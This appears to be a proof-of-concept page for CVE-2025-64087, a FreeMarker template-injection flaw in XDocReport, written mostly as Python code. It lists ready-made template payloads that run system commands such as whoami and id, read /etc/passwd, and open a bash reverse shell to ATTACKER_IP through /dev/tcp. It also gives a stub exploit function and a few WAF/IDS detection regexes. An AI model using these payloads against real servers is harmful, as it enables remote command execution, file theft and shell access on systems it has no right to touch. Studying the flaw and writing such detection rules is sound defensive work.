CVE-2025-64087 | XDocReport FreeMarker SSTI远程代码执行漏洞

# CVE-2025-64087 PoC - XDocReport FreeMarker SSTI # Attack payload to execute arbitrary system commands # Payload 1: Basic command execution via FreeMarker Execute class payload_rce = '''${("freemarker.template.utility.Execute"?new())("whoami")}''' # Payload 2: Read /etc/passwd file payload_read = '''${(org.apache.commons.io.FileUtils?new().readFileToString("/etc/passwd"))}''' # Payload 3: Reverse shell connection payload_shell = '''${("freemarker.template.utility.Execute"?new())("bash -i >& /dev/tcp/ATTACKER_IP/PORT 0>&1")}''' # Payload 4: Using object construction chain payload_chain = '''<#assign ex="freemarker.template.utility.Execute"?new()>${ex("id")}''' # Exploit scenario in XDocReport context: def exploit_xdocreport(target_url, template_input): """ Simulate exploitation of XDocReport SSTI vulnerability """ malicious_template = f""" Document Title: ${{document_title}} Content: {payload_rce} """ # The template is processed by FreeMarker without sanitization # Result: Command execution on the server return malicious_template # Detection pattern for WAF/IDS: detection_patterns = [ r'\$\{.*freemarker.*\}', r'\$\{.*\.new\(\).*\}', r'\$\{.*utility\.Execute.*\}', r'<#assign.*new\(\)\s*>', r'\$\{.*\.data_model.*\}' ] print("[+] CVE-2025-64087 PoC Generated") print("[*] Target: opensagres XDocReport v1.0.0 - v2.1.0") print("[*] Vulnerability: FreeMarker SSTI -> RCE")